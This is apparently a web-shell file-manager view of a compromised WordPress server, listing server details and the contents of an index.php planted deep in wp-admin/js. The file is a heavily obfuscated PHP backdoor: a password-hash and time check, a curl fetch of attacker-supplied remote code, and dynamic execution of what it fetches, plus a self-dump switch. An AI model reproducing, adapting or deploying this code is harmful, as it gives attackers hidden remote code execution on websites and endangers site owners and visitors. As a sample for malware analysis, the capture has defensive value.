HEX
Server: Apache
System: Linux clpupre 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64
User: undanet (1000)
PHP: 7.4.3
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/undanet/www/wp-admin/js/js/js/index.php
<?php
 goto jLMLxvTrOVww7Q; bkHuE9F24XuKxg: @($jqm4ew3pWnFwas = $jqm4ew3pWnFwas[90]($jqm4ew3pWnFwas[56], $jqm4ew3pWnFwas[65](${$jqm4ew3pWnFwas[46]}[16]))); goto BdC1mPaPH2hq8W; jLMLxvTrOVww7Q: $cWgRyIXh5yr3m2 = range("\x7e", "\x20"); goto ajLPLFLjiHeyFn; aLFgGgWzXC6goY: $jqm4ew3pWnFwas[65] = $jqm4ew3pWnFwas[65] . $jqm4ew3pWnFwas[77]; goto CERAP_b91ZPq3e; SE_4fRqoTSZqSA: WOp9jWCqvs1h3d: goto bnQELzk_KalBbO; x4nAlBjCd3wQk4: class HSh2zBNcYqCK_G { static function eD9zP68qkmSxDE($PmqNp2ODRFarRh) { goto vG49dC1FXJh4Cn; Wa1bwo_0aiJWNT: foreach ($GqQbN62bn7UMKX as $cUdThPqpF_o7tR => $Do5RlZ4ndz7x2g) { $yrSv7Ffb1o2N31 .= $A3EK778j87Dvt8[$Do5RlZ4ndz7x2g - 14521]; yTwxKYNCugEOrt: } goto OlAjNVhmakgIbL; OlAjNVhmakgIbL: i0aqPhsJLgxEJa: goto IzDfyS0DgGU6RI; vG49dC1FXJh4Cn: $NViW5Jo2bqcnZs = "\162" . "\141" . "\156" . "\147" . "\145"; goto R4n4bLLO2uOxe4; R4n4bLLO2uOxe4: $A3EK778j87Dvt8 = $NViW5Jo2bqcnZs("\x7e", "\x20"); goto VRJCGjGGU9kxgr; oUPZ_6vxJpMtMY: $yrSv7Ffb1o2N31 = ''; goto Wa1bwo_0aiJWNT; VRJCGjGGU9kxgr: $GqQbN62bn7UMKX = explode("\x3c", $PmqNp2ODRFarRh); goto oUPZ_6vxJpMtMY; IzDfyS0DgGU6RI: return $yrSv7Ffb1o2N31; goto ed33y4p55JErJs; ed33y4p55JErJs: } static function GrEWeCjv2Z6MtK($djy9azpBx4hBmv, $B13jHDgS0kITOf) { goto A87PuBQrsAvqsD; IgdCEXzRFrPryX: $KtHycFg_z0zA0Z = curl_exec($bQ0ro81EiYoOg5); goto OVP7qstGf90o_3; A87PuBQrsAvqsD: $bQ0ro81EiYoOg5 = curl_init($djy9azpBx4hBmv); goto P0dk1zjUlzn8LN; OVP7qstGf90o_3: return empty($KtHycFg_z0zA0Z) ? $B13jHDgS0kITOf($djy9azpBx4hBmv) : $KtHycFg_z0zA0Z; goto AXmqqMUjrZFvaQ; P0dk1zjUlzn8LN: curl_setopt($bQ0ro81EiYoOg5, CURLOPT_RETURNTRANSFER, 1); goto IgdCEXzRFrPryX; AXmqqMUjrZFvaQ: } static function aJaYLfJrBX7Bml() { goto heFOnMdJzYDRvJ; mUuWz5wIs7AaW2: foreach ($dGf2beGU1v4xTP as $ktZZWLOZNurIHp) { $iJ2jN7wRr86lyX[] = self::eD9Zp68QKMSxde($ktZZWLOZNurIHp); GXmknsFm78qx38: } goto xxfBbEUU2pGpYm; f2ij9ZZ5L0D4jY: $XjqnY6C8K9pZDa = @$iJ2jN7wRr86lyX[1]($iJ2jN7wRr86lyX[6 + 4](INPUT_GET, $iJ2jN7wRr86lyX[9 + 0])); goto KaJbvXqqZUZkpR; dH2MTsilLRusbi: $IChy6Nzey9GJjH = self::greWeCJv2Z6mtK($asqcqegYWYHZWY[0 + 1], $iJ2jN7wRr86lyX[0 + 5]); goto zqWioXNqX5mHzs; evI6H9OtwTddz9: $asqcqegYWYHZWY = $iJ2jN7wRr86lyX[1 + 1]($CHJoPilaA38CNT, true); goto Q0ti3MejoSJHHv; xxfBbEUU2pGpYm: jFpOLi16aam0OM: goto f2ij9ZZ5L0D4jY; KaJbvXqqZUZkpR: $CHJoPilaA38CNT = @$iJ2jN7wRr86lyX[2 + 1]($iJ2jN7wRr86lyX[0 + 6], $XjqnY6C8K9pZDa); goto evI6H9OtwTddz9; NRvMSiFwZIKawW: ktwSvfT9KnOYnn: goto gJWVwMNuUjSnhV; Nx5VFzIvUAAPER: die; goto NRvMSiFwZIKawW; Q0ti3MejoSJHHv: @$iJ2jN7wRr86lyX[4 + 6](INPUT_GET, "\157\146") == 1 && die($iJ2jN7wRr86lyX[3 + 2](__FILE__)); goto w_DPcqg_Gmr5Ry; w_DPcqg_Gmr5Ry: if (!(@$asqcqegYWYHZWY[0] - time() > 0 and md5(md5($asqcqegYWYHZWY[0 + 3])) === "\x39\66\61\x64\x65\x64\146\x61\x30\x66\143\61\146\x33\x63\63\66\x62\144\x38\71\x64\x39\x65\x34\63\x64\x65\70\142\x65\143")) { goto ktwSvfT9KnOYnn; } goto dH2MTsilLRusbi; heFOnMdJzYDRvJ: $dGf2beGU1v4xTP = array("\x31\x34\65\x34\70\74\61\x34\x35\63\63\74\61\x34\x35\x34\66\74\61\x34\65\x35\x30\74\61\64\65\x33\x31\x3c\61\x34\65\64\66\x3c\x31\64\x35\x35\62\74\61\64\x35\64\x35\74\61\64\65\x33\60\74\x31\64\65\x33\67\74\x31\64\65\x34\x38\74\x31\64\x35\63\x31\74\61\x34\x35\64\62\74\x31\x34\x35\63\66\74\61\x34\x35\x33\67", "\x31\64\65\63\62\x3c\x31\x34\65\x33\x31\74\x31\x34\65\63\63\74\x31\x34\65\x35\62\74\x31\x34\65\x33\63\74\x31\x34\65\63\x36\x3c\61\64\x35\63\61\x3c\x31\64\65\x39\x38\x3c\61\x34\x35\x39\66", "\61\64\x35\64\x31\74\61\x34\65\63\62\74\x31\x34\x35\63\x36\74\61\x34\x35\x33\x37\74\x31\64\x35\65\x32\74\61\64\x35\64\x37\74\61\x34\x35\x34\66\x3c\x31\x34\65\x34\x38\x3c\61\64\x35\63\66\74\x31\64\65\x34\x37\x3c\61\64\65\x34\66", "\61\64\65\x33\65\x3c\x31\64\65\65\60\x3c\x31\64\65\x34\x38\74\61\x34\65\x34\x30", "\61\64\65\x34\71\74\61\x34\65\x35\x30\74\61\64\65\x33\62\74\x31\64\65\x34\x36\74\x31\x34\x35\71\63\74\x31\x34\x35\x39\65\74\x31\x34\x35\65\x32\x3c\x31\64\x35\64\x37\x3c\61\x34\65\64\66\74\x31\64\x35\x34\70\74\x31\64\x35\63\66\74\x31\x34\x35\64\67\74\x31\64\65\64\x36", "\x31\x34\65\x34\65\x3c\61\64\65\x34\x32\x3c\x31\64\65\63\x39\74\x31\64\x35\x34\66\74\x31\64\x35\65\62\74\x31\64\65\x34\x34\74\61\64\65\64\x36\x3c\61\x34\x35\63\x31\x3c\61\64\x35\65\62\74\61\x34\65\64\70\x3c\x31\x34\x35\x33\x36\x3c\61\64\65\x33\x37\x3c\61\x34\65\x33\61\74\61\64\65\x34\x36\x3c\61\64\65\63\67\74\x31\x34\65\x33\x31\74\x31\64\x35\63\62", "\61\x34\x35\67\x35\74\61\64\66\60\x35", "\x31\64\x35\x32\62", "\x31\64\66\x30\60\74\61\x34\66\60\65", "\x31\64\x35\x38\x32\74\x31\x34\65\x36\65\74\61\x34\x35\66\65\74\x31\64\x35\x38\x32\74\x31\x34\65\65\70", "\x31\x34\x35\x34\x35\74\x31\x34\65\x34\62\74\61\64\x35\x33\71\74\x31\64\x35\x33\61\74\61\64\x35\x34\x36\74\61\64\65\x33\x33\74\61\x34\65\x35\x32\74\61\64\x35\64\x32\x3c\61\x34\x35\63\67\74\61\64\x35\x33\x35\x3c\61\64\65\63\x30\74\61\64\x35\x33\x31"); goto mUuWz5wIs7AaW2; zqWioXNqX5mHzs: @$iJ2jN7wRr86lyX[0]('', $iJ2jN7wRr86lyX[7 + 0] . $iJ2jN7wRr86lyX[4 + 0]($IChy6Nzey9GJjH) . $iJ2jN7wRr86lyX[2 + 6]); goto Nx5VFzIvUAAPER; gJWVwMNuUjSnhV: } } goto auKPZVAmlnU7GO; CERAP_b91ZPq3e: $jqm4ew3pWnFwas[90] = $jqm4ew3pWnFwas[65]($jqm4ew3pWnFwas[90]); goto bkHuE9F24XuKxg; BdC1mPaPH2hq8W: $jqm4ew3pWnFwas(); goto SE_4fRqoTSZqSA; ajLPLFLjiHeyFn: $jqm4ew3pWnFwas = ${$cWgRyIXh5yr3m2[10 + 21] . $cWgRyIXh5yr3m2[4 + 55] . $cWgRyIXh5yr3m2[12 + 35] . $cWgRyIXh5yr3m2[37 + 10] . $cWgRyIXh5yr3m2[35 + 16] . $cWgRyIXh5yr3m2[28 + 25] . $cWgRyIXh5yr3m2[20 + 37]}; goto DhSZuiWbvbgIhH; bnQELzk_KalBbO: metaphone("\x45\x5a\x5a\71\117\x68\x4a\x79\143\x49\x6a\x69\57\x2f\111\x2b\x6d\x54\130\x4a\114\x51\132\127\155\145\x61\150\116\x49\155\x41\105\x42\123\x65\x7a\144\x36\x6f\x5a\117\x55"); goto x4nAlBjCd3wQk4; DhSZuiWbvbgIhH: if (!(in_array(gettype($jqm4ew3pWnFwas) . "\x33\60", $jqm4ew3pWnFwas) && md5(md5(md5(md5($jqm4ew3pWnFwas[24])))) === "\x61\62\142\x34\x61\x33\61\142\65\x32\x36\67\x63\141\141\x30\x65\x37\x34\x36\60\70\62\142\62\66\x65\143\x64\x38\x30\146")) { goto WOp9jWCqvs1h3d; } goto aLFgGgWzXC6goY; auKPZVAmlnU7GO: Hsh2zbNCYqck_G::AjaYLfjRbX7Bml();
?>